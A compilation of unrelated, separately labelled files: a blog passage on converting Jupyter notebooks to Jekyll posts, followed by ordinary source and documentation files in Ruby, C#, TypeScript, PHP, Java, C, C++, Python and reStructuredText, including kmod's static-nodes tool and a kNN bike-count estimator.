# polar plot using add_axes and polar projection
fig = plt.figure()
ax = fig.add_axes([0.0, 0.0, .6, .6], polar=True)
t = np.linspace(0, 2 * np.pi, 100)
ax.plot(t, t, color='blue', lw=3);
show(fig)
```

![png](/recordsblog/public/img/nbexample/image2.png)

What I was missing in the above conversion were the classical `In [1]:` and `Out[1]:` prompts of jupyter notebooks. So, how is this achievable? As Adam J. writes on [his blog](https://adamj.eu/tech/2014/09/21/using-ipython-notebook-to-write-jekyll-blog-posts/), `.ipynb` files are stored in the `json` format. And indeed if you look at the [raw content](https://raw.githubusercontent.com/burrim/jupyter-notebooks/master/nbexample.ipynb) of the `nbexample.ipynb` you see something like this:

```{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "from pylab import *\n",
    "import numpy as np\n",
    "import pandas as pd"
   ]
  },  .....

```
This means I can get at the cells in the notebook, and I can easily convert the `.ipynb`- file to a `.md`-file. I found a [`ipynb_to_jekyll.py` on GitHub](https://gist.github.com/ewjoachim/570022bb7a08403cbe525fe82bd6d3e4), which I had to edit a few to satisfy my needs. Running `$ python ipynb_to_jekyll.py nbexample.ipynb` in the terminal creates/overwrites the relevant `nbexample.md` file and stores images in a folder. What follows is the code I used to convert my notebooks, if you cannot see the embedded gists, please
refresh the page
  or you can have [a look at the gist on GitHub](https://gist.github.com/burrim/a4a7a4e8d1a4dbb6439365ca0fb9ad25):

show/hide gists

At the end there was one main reason to choose the 2nd approach, even though the first approach offers the possibility to define a template for the conversion. If you're interested in the latter, [this gist might be something for you](https://gist.github.com/dkmehrmann/3fd9e8b89a6e442fdc8787a4c1dbf4f2/).

* The main reason was the liberty, to do with the cells whatever python allows to do, and this is nearly everything.

### Result of `ipynb_to_jekyll.py`
The following is the outcome of the 2nd procedure, which fully meets my needs:

{% capture content %}{% highlight python %}
from pylab import *
import numpy as np
import pandas as pd
{% endhighlight %}{% endcapture %}
{% include notebook-cell.html execution_count="[1]:" content=content type='input' %}

{% capture content %}{% highlight python %}
x = np.linspace(0, 5, 10)
xx = np.linspace(-0.75, 1., 100)
n = np.array([0,1,2,3,4,5])
dates = pd.date_range('20130101', periods=6)
df = pd.DataFrame(np.random.randn(6,4), index=dates, columns=list('ABCD'))
df
{% endhighlight %}{% endcapture %}
{% include notebook-cell.html execution_count="[2]:" content=content type='input' %}
{% capture content %}

      A
      B
      C
      D

      2013-01-01
      2.278744
      -0.652785
      0.574983
      -0.408235

      2013-01-02
      0.886904
      -1.415350
      0.487806
      -0.117535

      2013-01-03
      1.280152
      0.451589
      2.450064
      -0.159981

      2013-01-04
      -0.163132
      0.141542
      1.810313
      2.263799

      2013-01-05
      -0.488827
      0.263963
      0.598489
      0.933941

      2013-01-06
      -1.589058
      0.054630
      1.425882
      0.133386

{% endcapture %}
{% include notebook-cell.html execution_count="[2]:" content=content type='output' %}

{% capture content %}{% highlight python %}
fig, axes = plt.subplots(1, 4, figsize=(12,3))

axes[0].scatter(xx, xx + 0.25*np.random.randn(len(xx)))
axes[0].set_title("scatter")

axes[1].step(n, n**2, lw=2)
axes[1].set_title("step")

axes[2].bar(n, n**2, align="center", width=0.5, alpha=0.5)
axes[2].set_title("bar")

axes[3].fill_between(x, x**2, x**3, color="green", alpha=0.5);
axes[3].set_title("fill_between");
show(fig)
{% endhighlight %}{% endcapture %}
{% include notebook-cell.html execution_count="[3]:" content=content type='input' %}
![png](/recordsblog/public/img/nbexample/image1.png)

{% capture content %}{% highlight python %}
# polar plot using add_axes and polar projection
fig = plt.figure()
ax = fig.add_axes([0.0, 0.0, .6, .6], polar=True)
t = np.linspace(0, 2 * np.pi, 100)
ax.plot(t, t, color='blue', lw=3);
show(fig)
{% endhighlight %}{% endcapture %}
{% include notebook-cell.html execution_count="[4]:" content=content type='input' %}
![png](/recordsblog/public/img/nbexample/image2.png)


text:
Bitstack

Salt Master/Slave stack with application goodness on the inside

Goals:
	- provision salt master with codeset/keys
	- create VM
	- deploy code
		(django with a ping?)
	- health check

	- test git gutter


text:
require 'rubygems/test_case'
require 'rubygems/commands/open_command'

class TestGemCommandsOpenCommand < Gem::TestCase

  def setup
    super

    @cmd = Gem::Commands::OpenCommand.new
  end

  def gem(name, version = "1.0")
    spec = quick_gem name do |gem|
      gem.files = %W[lib/#{name}.rb Rakefile]
      gem.version = version
    end
    write_file File.join(*%W[gems #{spec.full_name} lib #{name}.rb])
    write_file File.join(*%W[gems #{spec.full_name} Rakefile])
    spec
  end

  def test_execute
    @cmd.options[:args] = %w[foo]
    @cmd.options[:editor] = "#{Gem.ruby} -e0 --"

    spec = gem 'foo'
    mock = MiniTest::Mock.new
    mock.expect(:call, true, [spec.full_gem_path])

    Dir.stub(:chdir, mock) do
      use_ui @ui do
        @cmd.execute
      end
    end

    assert mock.verify
    assert_equal "", @ui.error
  end

  def test_wrong_version
    @cmd.options[:version] = "4.0"
    @cmd.options[:args] = %w[foo]

    gem "foo", "5.0"

    assert_raises Gem::MockGemUi::TermError do
      use_ui @ui do
        @cmd.execute
      end
    end

    assert_match %r|Unable to find gem 'foo'|, @ui.output
    assert_equal "", @ui.error
  end

  def test_execute_bad_gem
    @cmd.options[:args] = %w[foo]

    assert_raises Gem::MockGemUi::TermError do
      use_ui @ui do
        @cmd.execute
      end
    end

    assert_match %r|Unable to find gem 'foo'|, @ui.output
    assert_equal "", @ui.error
  end

end


text:
// Copyright (c) Microsoft.  All Rights Reserved.  Licensed under the MIT license.  See License.txt in the project root for license information.

namespace Microsoft.CodeAnalysis.FlowAnalysis.DataFlow
{
    /// <summary>
    /// Marker interface for analysis contexts for execution of <see cref="DataFlowAnalysis"/> on a control flow graph.
    /// Primarily exists for specifying constraints on analysis context type parameters.
    /// </summary>
    public interface IDataFlowAnalysisContext
    {
        ControlFlowGraph ControlFlowGraph { get; }
        ISymbol OwningSymbol { get; }
        ControlFlowGraph? GetLocalFunctionControlFlowGraph(IMethodSymbol localFunction);
        ControlFlowGraph? GetAnonymousFunctionControlFlowGraph(IFlowAnonymousFunctionOperation lambda);
    }
}


text:
export enum TaskState {
  ALL = 'ALL',
  READY = 'READY',
  CLAIMED = 'CLAIMED',
  COMPLETED = 'COMPLETED',
  CANCELLED = 'CANCELLED',
  TERMINATED = 'TERMINATED'
}

export const ALL_STATES: Map<TaskState, string> = new Map([
  [TaskState.ALL, 'All'],
  [TaskState.READY, 'Ready'],
  [TaskState.CLAIMED, 'Claimed'],
  [TaskState.COMPLETED, 'Completed'],
  [TaskState.CANCELLED, 'Cancelled'],
  [TaskState.TERMINATED, 'Terminated']
]);


text:
public ${STATIC} function $propertyName(): ${TYPE_HINT}
{
#if (${STATIC} == "static")
return self::$${FIELD_NAME};
#else
return $this->${FIELD_NAME};
#end
}


text:
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
  <component name="ProjectModuleManager">
    <modules>
      <module fileurl="file://$PROJECT_DIR$/CRRrspy.iml" filepath="$PROJECT_DIR$/CRRrspy.iml" />
      <module fileurl="file://$PROJECT_DIR$/androidlib/androidlib.iml" filepath="$PROJECT_DIR$/androidlib/androidlib.iml" />
      <module fileurl="file://$PROJECT_DIR$/app/app.iml" filepath="$PROJECT_DIR$/app/app.iml" />
      <module fileurl="file://$PROJECT_DIR$/qrcodecore/qrcodecore.iml" filepath="$PROJECT_DIR$/qrcodecore/qrcodecore.iml" />
      <module fileurl="file://$PROJECT_DIR$/zbar/zbar.iml" filepath="$PROJECT_DIR$/zbar/zbar.iml" />
    </modules>
  </component>
</project>


text:
import Heading from './heading';
import TextFont from './TextFont';

export {
    Heading, TextFont,
};

export default {
  Heading, TextFont,
};


text:
package net.freeapis.reactor.tcp;

import net.freeapis.reactor.IOHandler;
import net.freeapis.util.ByteKit;

import java.nio.channels.SelectionKey;
import java.nio.channels.Selector;
import java.nio.channels.SocketChannel;

/**
 * Created by wuqiang on 2017/8/20.
 */
public class TCPHandler extends IOHandler{

    private static final Long PACKET_DELIMITER = 0x0301040105090206L;

    public TCPHandler(Selector selector, SocketChannel socketChannel) throws Exception {
        super(selector, socketChannel);
    }

    protected void read() throws Exception {
        socketChannel.read(readBuffer);
        int currentPosition = readBuffer.position();
        byte[] packet = null;
        //使用lastpacketPosition变量记住上次读取的数据包位置,解决数据包粘包的问题
        for(int i = lastPacketPosition; i < currentPosition; i++){
            boolean isForceClose = (
                    readBuffer.getLong(i) == CLIENT_FORCE_CLOSE_UNIX
                            || readBuffer.getLong(i) == CLIENT_FORCE_CLOSE_WINDOWS);
            if(isForceClose) socketChannel.close();
            if(readBuffer.getLong(i) == PACKET_DELIMITER){
                packet = new byte[i - lastPacketPosition];
                readBuffer.position(lastPacketPosition);
                readBuffer.get(packet);
                lastPacketPosition = i + 8;
                break;
            }
        }

        if(packet != null){
            selectionKey.interestOps(selectionKey.interestOps() & ~SelectionKey.OP_READ);
            writeBuffer.clear();
            writeBuffer.put(ByteKit.toHexString(packet,true).getBytes());
            writeBuffer.flip();
            this.write();
        }
        //随时判断缓冲区使用情况,清理之前已经读取过的内存
        clearUnusedMemory();
    }
}


text:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

    <title>pylab_examples example code: mri_with_eeg.py — Matplotlib 1.3.1 documentation</title>
    <link rel="stylesheet" href="../../_static/pythonista.css" type="text/css" />
    <link rel="stylesheet" href="../../_static/pygments.css" type="text/css" />

    <link rel="search" type="application/opensearchdescription+xml"
          title="Search within Matplotlib 1.3.1 documentation"
          href="../../_static/opensearch.xml"/>
    <link rel="top" title="Matplotlib 1.3.1 documentation" href="../../index.html" />
    <link rel="shortcut icon" type="image/png" href="../../_static/py.png" />
    <link rel="stylesheet" href="../_static/pythonista.css" type="text/css" />
    <meta name = "viewport" content = "width=device-width,initial-scale=1.0,user-scalable=no;">

Navigation

          index

          modules |

Matplotlib 1.3.1 documentation »

pylab_examples example code: mri_with_eeg.py¶

(Source code, png)

#!/usr/bin/env python

"""
This now uses the imshow command instead of pcolor which *is much
faster*
"""
from __future__ import division, print_function

import numpy as np

from matplotlib.pyplot import *
from matplotlib.collections import LineCollection
import matplotlib.cbook as cbook
# I use if 1 to break up the different regions of code visually

if 1:   # load the data
    # data are 256x256 16 bit integers
    dfile = cbook.get_sample_data('s1045.ima.gz')
    im = np.fromstring(dfile.read(), np.uint16).astype(float)
    im.shape = 256, 256

if 1: # plot the MRI in pcolor
    subplot(221)
    imshow(im, cmap=cm.gray)
    axis('off')

if 1:  # plot the histogram of MRI intensity
    subplot(222)
    im = np.ravel(im)
    im = im[np.nonzero(im)] # ignore the background
    im = im/(2.0**15) # normalize
    hist(im, 100)
    xticks([-1, -.5, 0, .5, 1])
    yticks([])
    xlabel('intensity')
    ylabel('MRI density')

if 1:   # plot the EEG
    # load the data

    numSamples, numRows = 800,4
    eegfile = cbook.get_sample_data('eeg.dat', asfileobj=False)
    print ('loading eeg %s' % eegfile)
    data = np.fromstring(open(eegfile, 'rb').read(), float)
    data.shape = numSamples, numRows
    t = 10.0 * np.arange(numSamples, dtype=float)/numSamples
    ticklocs = []
    ax = subplot(212)
    xlim(0,10)
    xticks(np.arange(10))
    dmin = data.min()
    dmax = data.max()
    dr = (dmax - dmin)*0.7 # Crowd them a bit.
    y0 = dmin
    y1 = (numRows-1) * dr + dmax
    ylim(y0, y1)

    segs = []
    for i in range(numRows):
        segs.append(np.hstack((t[:,np.newaxis], data[:,i,np.newaxis])))
        ticklocs.append(i*dr)

    offsets = np.zeros((numRows,2), dtype=float)
    offsets[:,1] = ticklocs

    lines = LineCollection(segs, offsets=offsets,
                           transOffset=None,
                           )

    ax.add_collection(lines)

    # set the yticks to use axes coords on the y axis
    ax.set_yticks(ticklocs)
    ax.set_yticklabels(['PG3', 'PG5', 'PG7', 'PG9'])

    xlabel('time (s)')

show()

Keywords: python, matplotlib, pylab, example, codex (see Search examples)

    © Copyright 2002 - 2012 John Hunter, Darren Dale, Eric Firing, Michael Droettboom and the matplotlib development team; 2012 - 2013 The matplotlib development team.

    The Python Software Foundation is a non-profit corporation.
    Please donate.

    Last updated on May 03, 2016.
    Found a bug?

    Created using Sphinx 1.2.1.


text:
#include <errno.h>
#include <getopt.h>
#include <limits.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/utsname.h>

#include <shared/util.h>

#include "kmod.h"

struct static_nodes_format {
	const char *name;
	int (*write)(FILE *, char[], char[], char, unsigned int, unsigned int);
	const char *description;
};

static const struct static_nodes_format static_nodes_format_human;
static const struct static_nodes_format static_nodes_format_tmpfiles;
static const struct static_nodes_format static_nodes_format_devname;

static const struct static_nodes_format *static_nodes_formats[] = {
	&static_nodes_format_human,
	&static_nodes_format_tmpfiles,
	&static_nodes_format_devname,
};

static const char cmdopts_s[] = "o:f:h";
static const struct option cmdopts[] = {
	{ "output", required_argument, 0, 'o'},
	{ "format", required_argument, 0, 'f'},
	{ "help", no_argument, 0, 'h'},
	{ },
};

static int write_human(FILE *out, char modname[], char devname[], char type, unsigned int maj, unsigned int min)
{
	int ret;

	ret = fprintf(out,
			"Module: %s\n"
			"\tDevice node: /dev/%s\n"
			"\t\tType: %s device\n"
			"\t\tMajor: %u\n"
			"\t\tMinor: %u\n",
			modname, devname,
			(type == 'c') ? "character" : "block", maj, min);
	if (ret >= 0)
		return EXIT_SUCCESS;
	else
		return EXIT_FAILURE;
}

static const struct static_nodes_format static_nodes_format_human = {
	.name = "human",
	.write = write_human,
	.description = "(default) a human readable format. Do not parse.",
};

static int write_tmpfiles(FILE *out, char modname[], char devname[], char type, unsigned int maj, unsigned int min)
{
	const char *dir;
	int ret;

	dir = strrchr(devname, '/');
	if (dir) {
		ret = fprintf(out, "d /dev/%.*s 0755 - - -\n",
			      (int)(dir - devname), devname);
		if (ret < 0)
			return EXIT_FAILURE;
	}

	ret = fprintf(out, "%c! /dev/%s 0600 - - - %u:%u\n",
		      type, devname, maj, min);
	if (ret < 0)
		return EXIT_FAILURE;

	return EXIT_SUCCESS;
}

static const struct static_nodes_format static_nodes_format_tmpfiles = {
	.name = "tmpfiles",
	.write = write_tmpfiles,
	.description = "the tmpfiles.d(5) format used by systemd-tmpfiles.",
};

static int write_devname(FILE *out, char modname[], char devname[], char type, unsigned int maj, unsigned int min)
{
	int ret;

	ret = fprintf(out, "%s %s %c%u:%u\n", modname, devname, type, maj, min);
	if (ret >= 0)
		return EXIT_SUCCESS;
	else
		return EXIT_FAILURE;
}

static const struct static_nodes_format static_nodes_format_devname = {
	.name = "devname",
	.write = write_devname,
	.description = "the modules.devname format.",
};

static void help(void)
{
	size_t i;

	printf("Usage:\n"
	       "\t%s static-nodes [options]\n"
	       "\n"
	       "kmod static-nodes outputs the static-node information of the currently running kernel.\n"
	       "\n"
	       "Options:\n"
	       "\t-f, --format=FORMAT  choose format to use: see \"Formats\"\n"
	       "\t-o, --output=FILE    write output to file\n"
	       "\t-h, --help           show this help\n"
	       "\n"
	       "Formats:\n",
	 program_invocation_short_name);

	for (i = 0; i < ARRAY_SIZE(static_nodes_formats); i++) {
		if (static_nodes_formats[i]->description != NULL) {
			printf("\t%-12s %s\n", static_nodes_formats[i]->name,
			       static_nodes_formats[i]->description);
		}
	}
}

static int do_static_nodes(int argc, char *argv[])
{
	struct utsname kernel;
	char modules[PATH_MAX], buf[4096];
	const char *output = "/dev/stdout";
	FILE *in = NULL, *out = NULL;
	const struct static_nodes_format *format = &static_nodes_format_human;
	int r, ret = EXIT_SUCCESS;

	for (;;) {
		int c, idx = 0, valid;
		size_t i;

		c = getopt_long(argc, argv, cmdopts_s, cmdopts, &idx);
		if (c == -1) {
			break;
		}
		switch (c) {
		case 'o':
			output = optarg;
			break;
		case 'f':
			valid = 0;

			for (i = 0; i < ARRAY_SIZE(static_nodes_formats); i++) {
				if (streq(static_nodes_formats[i]->name, optarg)) {
					format = static_nodes_formats[i];
					valid = 1;
				}
			}

			if (!valid) {
				fprintf(stderr, "Unknown format: '%s'.\n",
					optarg);
				help();
				ret = EXIT_FAILURE;
				goto finish;
			}
			break;
		case 'h':
			help();
			goto finish;
		case '?':
			ret = EXIT_FAILURE;
			goto finish;
		default:
			fprintf(stderr, "Unexpected commandline option '%c'.\n",
				c);
			help();
			ret = EXIT_FAILURE;
			goto finish;
		}
	}

	if (uname(&kernel) < 0) {
		fputs("Error: uname failed!\n", stderr);
		ret = EXIT_FAILURE;
		goto finish;
	}

	snprintf(modules, sizeof(modules), "/lib/modules/%s/modules.devname", kernel.release);
	in = fopen(modules, "re");
	if (in == NULL) {
		if (errno == ENOENT) {
			fprintf(stderr, "Warning: /lib/modules/%s/modules.devname not found - ignoring\n",
				kernel.release);
			ret = EXIT_SUCCESS;
		} else {
			fprintf(stderr, "Error: could not open /lib/modules/%s/modules.devname - %m\n",
				kernel.release);
			ret = EXIT_FAILURE;
		}
		goto finish;
	}

	r = mkdir_parents(output, 0755);
	if (r < 0) {
		fprintf(stderr, "Error: could not create parent directory for %s - %m.\n", output);
		ret = EXIT_FAILURE;
		goto finish;
	}

	out = fopen(output, "we");
	if (out == NULL) {
		fprintf(stderr, "Error: could not create %s - %m\n", output);
		ret = EXIT_FAILURE;
		goto finish;
	}

	while (fgets(buf, sizeof(buf), in) != NULL) {
		char modname[PATH_MAX];
		char devname[PATH_MAX];
		char type;
		unsigned int maj, min;
		int matches;

		if (buf[0] == '#')
			continue;

		matches = sscanf(buf, "%s %s %c%u:%u", modname, devname,
				 &type, &maj, &min);
		if (matches != 5 || (type != 'c' && type != 'b')) {
			fprintf(stderr, "Error: invalid devname entry: %s", buf);
			ret = EXIT_FAILURE;
			continue;
		}

		format->write(out, modname, devname, type, maj, min);
	}

finish:
	if (in)
		fclose(in);
	if (out)
		fclose(out);
	return ret;
}

const struct kmod_cmd kmod_cmd_static_nodes = {
	.name = "static-nodes",
	.cmd = do_static_nodes,
	.help = "outputs the static-node information installed with the currently running kernel",
};


text:
.. _enrichment_utterances:

************************
Creating utterance units
************************

Utterances are groups of words that are continuous in some sense.  The can be thought of as similar to interpausal units or chunks
in other work.  The basic idea is that there are intervals in which there are no speech, a subset of which count as breaks in speech
depending on the length of these non-speech intervals.

To encode utterances, there are two steps:

1. :ref:`encoding_pauses`
2. :ref:`encoding_utterances`

.. _encoding_pauses:

Encoding non-speech elements
============================

Non-speech elements in PolyglotDB are termed `pause`.  Pauses are encoded as follows:

.. code-block:: python

   nonspeech_words = ['<SIL>','<IVER>']
   with CorpusContext(config) as c:
        c.encode_pauses(nonspeech_words)

The function `encode_pauses` takes a list of word labels that should not be considered speech in a discourse and marks them as such.

.. note::

   Non-speech words can also be encoded through regular expressions, as in:

   .. code-block:: python

      nonspeech_words = '^[<[{].*'
      with CorpusContext(config) as c:
          c.encode_pauses(nonspeech_words)

   Where the pattern to be matched is any label that starts with `<` or `[`.

Once pauses are encoded, aspects of pauses can be queried, as follows:

.. code-block:: python

   with CorpusContext(config) as c:
       q = c.query_graph(c.pause).filter(c.pause.discourse.name == 'one_discourse')
       print(q.all())

Additionally, word annotations can have previous and following pauses that can be found:

.. code-block:: python

   with CorpusContext(config) as c:
       q = c.query_graph(c.word).columns(c.word.label,
                                          c.word.following_pause_duration.column_name('pause_duration'))
       print(q.all())

.. note::

   Once pauses are encoded, accessing an annotation's previous or following word via `c.word.previous` will skip over
   any pauses.  So for a string like `I <SIL> go...`, the previous word to the word `go` would be `I` rather than `<SIL>`.

.. _encoding_utterances:

Encoding utterances
===================

Once pauses are encoded, utterances can be encoded by specifying the minimum length of non-speech elements that count as
a break between stretches of speech.

.. code-block:: python

   with CorpusContext(config) as c:
        c.encode_utterances(min_pause_length=0.15)

.. note::

   The function `encode_utterances` can be given a keyword argument for `call_back`, which is a function like `print` that
   allows for progress to be output to the console.

Following encoding, utterances are available to queried and used as any other linguistic unit. For example, to get a list of
all the instances of words at the beginnings of utterances:

.. code-block:: python

   with CorpusContext(config) as c:
        q = c.query_graph(c.word).filter(c.word.begin == c.word.utterance.begin)
        print(q.all())


text:
template<typename KeyType, typename ValueType>
class AATree
{
	struct Node {
		Node(KeyType key, ValueType value, int level, struct Node *left, struct Node *middle, struct Node *right) :
			key(key), value(value), level(level), left(left), middle(middle), right(right)
		{ }

		KeyType key;
		ValueType value;
		int level;
		struct Node *left;
		struct Node *middle;
		struct Node *right;
	};
public:
	template<typename KeyType, typename ValueType>
	class ForwardIterator : public std::iterator<std::forward_iterator_tag,
		ValueType, std::ptrdiff_t, ValueType*, ValueType &>
	{
	public:
		ForwardIterator() : _itr(nullptr) {}
		explicit ForwardIterator(Node *node) : _itr(node) {}

		void swap(ForwardIterator &other) noexcept
		{
			std::swap(_itr, other._itr);
		}

		ForwardIterator &operator++()
		{
			assert(_itr != nullptr);
			_itr = _itr->middle;
			return *this;
		}

		ForwardIterator operator++(int)
		{
			assert(_itr != nullptr);
			ForwardIterator tmp(*this);
			_itr = _itr->middle;
			return tmp;
		}

		template<typename OtherKeyType, typename OtherValueType>
		bool operator == (const ForwardIterator<OtherKeyType, OtherValueType> &rhs) const
		{
			return _itr == rhs._itr;
		}

		template<typename OtherKeyType, typename OtherValueType>
		bool operator != (const ForwardIterator<OtherKeyType, OtherValueType> &rhs) const
		{
			return _itr != rhs._itr;
		}

		ValueType &operator*() const
		{
			assert(_itr != nullptr);
			return _itr->value;
		}

		ValueType &operator->() const
		{
			assert(_itr != nullptr);
			return _itr->value;
		}
		operator ForwardIterator<KeyType, const ValueType>() const
		{
			return ForwardIterator<KeyType, const ValueType>(_itr);
		}

	private:
		Node *_itr;
	};

	typedef ForwardIterator<KeyType, ValueType> iterator;
	typedef ForwardIterator<KeyType, const ValueType> const_iterator;

	AATree();
	~AATree();

	template<typename KeyType, typename ValueType>
	void Insert(KeyType key, ValueType value) {
		_root = Insert(_root, key, value);
	}

	template<typename KeyType, typename ValueType>
	void Delete(KeyType key) {
		_root = Delete(_root, key);
	}

	void Clear() {
		_root = Clear(_root);
	}

	const_iterator CEnd() { return const_iterator(); }
	iterator End() { return iterator(); }

	iterator Find(KeyType key) {
		Node *startNode = Find(_root, key);
		return iterator(startNode);
	}

private:
	Node *_root;

	Node *Find(Node *node, KeyType key) {
		if (node == nullptr) {
			return nullptr;
		}
		if (key < node->key) {
			return Find(node->left, key);
		}
		else if (key > node->key) {
			return Find(node->right, key);
		}
		else {
			return node;
		}
	}

	bool IsValid(Node *node) {
		if (node == nullptr) return true;
		if (node->left != nullptr) {
			if (node->left->key >= node->key ||
				!IsValid(node->left)) return false;
		}
		if (node->right != nullptr) {
			if (node->right->key <= node->key ||
				!IsValid(node->right)) return false;
		}
		return true;
	}

	Node *Clear(Node *node) {
		if (node == nullptr)
			return nullptr;
		node->middle = Clear(node->middle);
		node->left = Clear(node->left);
		node->right = Clear(node->right);
		delete node;
		return nullptr;
	}

	template<typename KeyType, typename ValueType>
	Node *Insert(Node *node, KeyType key, ValueType value)
	{
		if (node == nullptr) {
			node = new Node(key, value, 1, nullptr, nullptr, nullptr);
		}
		else if (key < node->key) {
			node->left = Insert(node->left, key, value);
		}
		else if (key > node->key) {
			node->right = Insert(node->right, key, value);
		}
		else if (key == node->key) {
			node->middle = Insert(node->middle, key, value);
		}
		node = Skew(node);
		node = Split(node);
		assert(IsValid(node));
		return node;
	}

	Node *Delete(Node *node, KeyType key) {
		if (node == nullptr) {
			return node;
		}
		else if (key > node->key) {
			node->right = Delete(node->right, key);
		}
		else if (key < node->key) {
			node->left = Delete(node->left, key);
		}
		else {
			if (node->left == nullptr && node->right == nullptr) {
				node->middle = Delete(node->middle, key);
				delete node;
				return nullptr;
			}
			else if (node->left == nullptr) {
				Node *l = Successor(node);
				node->key = l->key;
				node->value = l->value;
				node->middle = Delete(node->middle, key);
				node->middle = l->middle;
				l->middle = nullptr;
				node->right = Delete(node->right, l->key);
			}
			else {
				Node *l = Predecessor(node);
				node->key = l->key;
				node->value = l->value;
				node->middle = Delete(node->middle, key);
				node->middle = l->middle;
				l->middle = nullptr;
				node->left = Delete(node->left, l->key);
			}
		}
		node = DecreaseLevel(node);
		node = Skew(node);
		node->right = Skew(node->right);
		if (node->right != nullptr) {
			node->right->right = Skew(node->right->right);
		}
		node = Split(node);
		node->right = Split(node->right);
		return node;
	}

	Node *Predecessor(Node *node) {
		if (node->left == nullptr) {
			return nullptr;
		}
		node = node->left;
		while (node->right != nullptr) {
			node = node->right;
		}
		return node;
	}

	Node *Successor(Node *node) {
		if (node->right == nullptr) {
			return nullptr;
		}
		node = node->right;
		while (node->left != nullptr) {
			node = node->left;
		}
		return node;
	}

	Node *DecreaseLevel(Node *node) {
		if (node->left == nullptr || node->right == nullptr) {
			return node;
		}
		int shouldBe = node->left->level < node->right->level ? node->left->level : node->right->level;
		if (shouldBe < node->level) {
			node->level = shouldBe;
			if (shouldBe < node->right->level) {
				node->right->level = shouldBe;
			}
		}
		return node;
	}

	Node *Skew(Node *node) {
		if (node == nullptr) {
			return nullptr;
		}
		else if (node->left == nullptr) {
			return node;
		}
		else if (node->left->level == node->level) {
			Node *l = node->left;
			node->left = l->right;
			l->right = node;
			return l;
		}
		else {
			return node;
		}
	}

	Node *Split(Node *node) {
		if (node == nullptr) {
			return nullptr;
		}
		else if (node->right == nullptr || node->right->right == nullptr) {
			return node;
		}
		else if (node->level == node->right->right->level) {
			Node *r = node->right;
			node->right = r->left;
			r->left = node;
			r->level += 1;
			return r;
		}
		else {
			return node;
		}
	}

};

template<typename KeyType, typename ValueType>
AATree<KeyType, ValueType>::AATree() :
	_root(nullptr)
{

}

template<typename KeyType, typename ValueType>
AATree<KeyType, ValueType>::~AATree() {
	Clear();
}


text:
import math
import pandas as pd

INPUT_FIELDS = set(['season', 'holiday', 'workingday', 'weather',
                    'temp', 'atemp', 'humidity', 'windspeed'])
INPUT_FIELDS = set(['temp', 'humidity', 'windspeed'])

def load_and_munge_training_data(filename):
    df = pd.read_csv(open(filename))
    parse_month = lambda dt: int(dt.split('-')[1])
    parse_hour  = lambda dt: int(dt.split()[1].split(':')[0])
    df['month'] = map(parse_month, df['datetime'])
    df['hour']  = map(parse_hour,  df['datetime'])
    return df

def euclidean_dist(a, b):
    return math.sqrt(sum(abs(a[f] - b[f]) ** 2 for f in INPUT_FIELDS))

def knn(vector1, neighbours, k=5):
    ds = [(euclidean_dist(vector1, n), n) for _, n in neighbours.iterrows()]
    return sorted(ds, key=lambda a: a[0])[:k]

def gaussian_weight(dist, sigma=12.0):
    return math.exp(-dist ** 2 / (2 * sigma ** 2))

def estimate(test, training):
    neighbour_dists = knn(test, training)
    weights = [(gaussian_weight(d), n) for d, n in neighbour_dists]
    sum_weights = sum(w for w, _ in weights)
    mean = sum(w * n['count'] for w, n in weights) / sum_weights
    return int(mean)

def main():
    training = load_and_munge_training_data('train.csv')
    test_set = load_and_munge_training_data('test.csv')

    with open('result.csv', 'w') as f:
        f.write('datetime,count')
        for n, test in test_set.iterrows():
            f.write('%s,%i\n' % (test['datetime'], estimate(test, training)))

if __name__ == '__main__':
    main()